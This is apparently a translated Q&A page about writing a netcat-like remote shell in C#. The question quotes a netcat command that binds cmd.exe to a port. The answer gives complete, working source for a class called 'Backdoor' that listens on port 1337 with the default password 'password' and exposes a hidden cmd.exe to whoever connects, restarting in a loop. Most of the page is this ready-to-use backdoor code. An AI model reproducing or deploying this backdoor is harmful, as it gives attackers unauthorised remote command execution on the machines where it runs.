使用netcat等远程shell功能编写程序

时间:2012-05-25 15:39:56

标签: c# shell

我有兴趣编写一个可以执行类似netcats“nc -L -d -p -t -e cmd.exe”命令的程序。所以它提供了一个远程shell。我已尝试管道输出和从cmd.exe输入和输入,并通过套接字发送和接收它,但它似乎并没有真正起作用。有没有其他方法可以做到这一点?我顺便用C#编程。

这是我编写的一些测试代码,用于测试我是否可以创建自己的“shell”。这个输出应该通过套接字发送。但是,当它成为读取输出的时间时,程序停止。这只能通过使用.readline()方法来解决,但我不知道如何检测它何时不应再读取。

        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardInput = true;
        p.Start();
        StreamReader sr = p.StandardOutput;
        StreamWriter sw = p.StandardInput;

        while (true)
        {
            Console.Write(">> ");
            string cmd = Console.ReadLine();
            sw.WriteLine(cmd);
            var resp = sr.ReadLine(); 
            Console.WriteLine(resp);
        }

感谢。

1 个答案:

答案 0 :(得分:8)

不确定您是否仍然关心这一点,但这可能会对您有所帮助:

这是一个C#Remote Shell

/*****************************************************************
* 
*  Created By DT
*  
* ***************************************************************/

using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;

namespace BackdoorServer
{
public class Backdoor
{
    private TcpListener listener;                       //ServerSocket object for listening
    private Socket mainSocket;                          //Socket to handle client-server communication
    private int port;                                   //Port the server listens on
    private String name;                                //The server name
    private String password;                            //The server password
    private bool verbose = true;                        //Displays messages in console if True
    private Process shell;                              //The shell process
    private StreamReader fromShell;
    private StreamWriter toShell;
    private StreamReader inStream;
    private StreamWriter outStream;
    private Thread shellThread;                         //So we can destroy the Thread when the client disconnects

    private static int DEFAULT_PORT = 1337;             //Default port to listen on if one isn't declared
    private static String DEFAULT_NAME = "Server";      //Default name of server if one isn't declared
    private static String DEFAULT_PASS = "password";    //Default server password if one isn't declared

    public Backdoor()
    {                                   //Use default settings
        port = DEFAULT_PORT;
        name = DEFAULT_NAME;
        password = DEFAULT_PASS;
    }

    public Backdoor(int p)
    {                           //Define port only
        port = p;
        name = DEFAULT_NAME;
        password = DEFAULT_PASS;
    }

    public Backdoor(int p, String n)
    {                   //Define port and server name
        port = p;
        name = n;
        password = DEFAULT_PASS;
    }

    public Backdoor(int p, String n, String pass)
    {       //Define port, server name, and password
        port = p;
        name = n;
        password = pass;
    }
    public Backdoor(int p, String n, String pass, bool verb)
    {       //Define port, server name, and password
        port = p;
        name = n;
        password = pass;
        verbose = verb;
    }
    ////////////////////////////////////////////////////////////////////////
    //the startServer method waits for a connection, checks the password,
    //and either drops the client or starts a remote shell
    ////////////////////////////////////////////////////////////////////////
    public void startServer() {
        try {
            if(verbose)
                Console.WriteLine("Listening on port " + port);

                                                                //Create the ServerSocket
            listener = new TcpListener(port);
            listener.Start();                                   //Stop and wait for a connection
            mainSocket = listener.AcceptSocket();

            if(verbose)
                Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);

            Stream s = new NetworkStream(mainSocket);
            inStream = new StreamReader(s);
            outStream = new StreamWriter(s);
            outStream.AutoFlush = true;

            String checkPass = inStream.ReadLine();

            if(verbose)
                Console.WriteLine("Client tried password " + checkPass);

            if(!checkPass.Equals(password)) {                       //if the password is not correct
                if(verbose)
                    Console.WriteLine("Incorrect Password");
                badPass();                                          //Drop the client
                return;
            }

            if(verbose)
                Console.WriteLine("Password Accepted.");

            shell = new Process();
            ProcessStartInfo p = new ProcessStartInfo("cmd");
            p.CreateNoWindow = true;
            p.UseShellExecute = false;
            p.RedirectStandardError = true;
            p.RedirectStandardInput = true;
            p.RedirectStandardOutput = true;
            shell.StartInfo = p;
            shell.Start();
            toShell = shell.StandardInput;
            fromShell = shell.StandardOutput;
            toShell.AutoFlush = true;
            shellThread = new Thread(new ThreadStart(getShellInput));   //Start a thread to read output from the shell
            shellThread.Start();
            outStream.WriteLine("Welcome to " + name + " backdoor server.");        //Display a welcome message to the client
            outStream.WriteLine("Starting shell...\n");
            getInput();                                                 //Prepare to monitor client input...
            dropConnection();                                   //When getInput() is terminated the program will come back here

        }
        catch(Exception) { dropConnection(); }
    }
    //////////////////////////////////////////////////////////////////////////////////////////////
    //The run method handles shell output in a seperate thread
    //////////////////////////////////////////////////////////////////////////////////////////////

    void getShellInput()
    {
        try
        {
            String tempBuf = "";
            outStream.WriteLine("\r\n");
            while ((tempBuf = fromShell.ReadLine()) != null)
            {
                outStream.WriteLine(tempBuf + "\r");
            }
            dropConnection();
        }
        catch (Exception) { /*dropConnection();*/ }
    }

    private void getInput() {
        try {
            String tempBuff = "";                                       //Prepare a string to hold client commands
            while(((tempBuff = inStream.ReadLine()) != null)) {         //While the buffer is not null
                if(verbose)
                    Console.WriteLine("Received command: " + tempBuff);
                handleCommand(tempBuff);                                //Handle the client's commands
            }
        }
        catch(Exception) {}
    }

    private void handleCommand(String com) {        //Here we can catch commands before they are sent
        try {                                       //to the shell, so we could write our own if we want
            if(com.Equals("exit")) {                //In this case I catch the 'exit' command and use it
                outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
                dropConnection();                   //to drop the connection
            }
            toShell.WriteLine(com + "\r\n");
        }
        catch(Exception) { dropConnection(); }
    }

    ////////////////////////////////////////////////////////////////////
    //The drop connection method closes all connections and
    //resets the objects to their null states to be created again
    //I don't know if this is the best way to do it but it seems to
    //work without issue.
    ////////////////////////////////////////////////////////////////////
    private void badPass()
    {
        inStream.Dispose();
        outStream.Dispose();
        mainSocket.Close();
        listener.Stop();
        return;
    }
    private void dropConnection() {
        try {
            if(verbose)
                Console.WriteLine("Dropping Connection");
            shell.Close();
            shell.Dispose();
            shellThread.Abort();
            shellThread = null;
            inStream.Dispose();                                 //Close everything...
            outStream.Dispose();
            toShell.Dispose();
            fromShell.Dispose();
            shell.Dispose();
            mainSocket.Close();
            listener.Stop();
            return;
        }
        catch(Exception) {}
    }
    static void Main(string[] args)
    {
        try {
            Backdoor bd = new Backdoor();
            if (args.Length == 1)
                bd = new Backdoor(int.Parse(args[0]));
            if (args.Length == 2)
                bd = new Backdoor(int.Parse(args[0]), args[1]);
            if (args.Length == 3)
                bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
            else if (args.Length == 4)
                bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
            while (true)
            {
                bd.startServer();
            }
        }
        catch(Exception) {}

    }
}
}